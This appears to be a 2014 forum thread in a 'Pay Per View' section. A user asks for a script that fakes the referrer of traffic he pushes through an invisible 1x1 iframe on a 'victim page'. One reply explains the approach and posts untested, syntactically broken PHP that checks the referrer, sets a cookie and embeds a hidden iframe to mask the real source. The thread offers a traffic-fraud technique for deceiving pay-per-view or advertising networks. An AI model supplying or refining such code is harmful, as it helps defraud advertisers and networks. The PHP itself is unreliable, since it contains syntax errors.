1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

ref script

Discussion in 'Pay Per View' started by aceofweb, Nov 26, 2014.

  1. aceofweb

    aceofweb Newbie

    Joined:
    Nov 26, 2014
    Messages:
    2
    Likes Received:
    0
    hi folks i need a script to simulate ref from user, that coming to my site ? anyone can help me?
     
  2. cdavdav

    cdavdav Newbie

    Joined:
    Aug 18, 2014
    Messages:
    13
    Likes Received:
    7
    What site are you talking about, we need to know the site in order to make the bot
     
  3. aceofweb

    aceofweb Newbie

    Joined:
    Nov 26, 2014
    Messages:
    2
    Likes Received:
    0
    i dont can post here my right version

    the following wish

    victim page with my own iframe code 1x1 px invisible but i need here the ref script to hide real ref - and give another ref -
     
  4. pr250

    pr250 Junior Member

    Joined:
    Apr 7, 2010
    Messages:
    108
    Likes Received:
    23
    You can do this if you know where the visitor is coming from. Ie, if visitor comes from yourhiddendomain.com, use php to detect it in your index.php and set a cookie for 10 seconds, then frame your index.php file again. if the cookie is set, index.php has to make an iframe of index.php and exit;
    Code:
    
    
     
  5. pr250

    pr250 Junior Member

    Joined:
    Apr 7, 2010
    Messages:
    108
    Likes Received:
    23
    You can do this if you know where the visitor is coming from. Ie, if visitor comes from yourhiddendomain.com, use php to detect it in your index.php and set a cookie for 10 seconds, then frame your index.php file again. if the cookie is set, index.php has to make an iframe of index.php and exit;

    PHP:
    <?php
    if(isset($_COOKIE['cpanel']){
    echo
    "<!-- redirect code - here you can use meta refresh, javascript auto submitted form with get, whatever you like-->";
    exit;
    }
    $hiddendomain "http://somehiddensite.net/";
    $ref $_SERVER['HTTP_REFERER'];
    if(
    $ref == "$hiddendomain"){
    setcookie("cpanel""1"time()+10);
    echo
    "<iframe src=\"index.php\" style=\"width:1px; height:1px; display:none;\"></iframe>";
    }
    ?>
    I didnt test the code, its just to give you an idea